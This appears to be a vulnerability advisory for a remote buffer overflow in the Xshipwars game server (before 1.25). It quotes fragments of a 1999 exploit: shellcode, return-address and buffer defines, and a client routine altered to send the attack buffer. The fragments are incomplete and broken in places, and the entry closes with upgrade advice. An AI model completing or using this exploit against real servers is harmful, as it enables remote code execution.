Xshipwars a graphical 'star battle' client/server based game which runs a variety of platforms. Certain versions of the server which facilitates this game (versions before 1.25) had a remotely exploitable buffer overflow. The exploit would result in the execution of arbitrary commands as the UID of the server process.
/* If the offset is off for your box, then the server will still crash,
and will begin an endless loop of sending itself log messages,
filling up whatever space it can on whatever partition it's installed
on. This is less than optimal behavior, so quickly find and kill the
server if your exploit fails.
A. Woodward, Dec 1999
<cut this and paste it into your client's source file, modify your
.h's to raise the limit on a few variables (grep for 256 and turn them
into 2560), recompile, and enjoy> */
* Sends a literal command.
/*hacked to send our attack buffer!*/
/*test shellcode. No whitespace, just exec's /tmp/xx. If it's not
there, does random things. Replace this for slightly more
fun. ;> */
char code ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
#define SIZEOFBUF 229
#define SHELLSTART 50
/*Return to: 0xbfffebe4 Your Kilometerage May Vary*/
if(arg == NULL)
if(arg == '\0')
/*strncpy(larg, arg, CS_MESG_MAX);*/
strncpy(larg, exploitbuf, CS_MESG_MAX);
larg[CS_MESG_MAX - 1] = '\0';
* NET_CMD_EXEC format is as follows:
sprintf(sndbuf, "%i %s\n",
A remote overflow exists in Xshipwars. The game server fails to properly check bounds resulting in a buffer overflow. With a specially crafted request, an attacker can cause arbitrary code execution resulting in a loss of integrity.
Upgrade to version 1.2.5 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.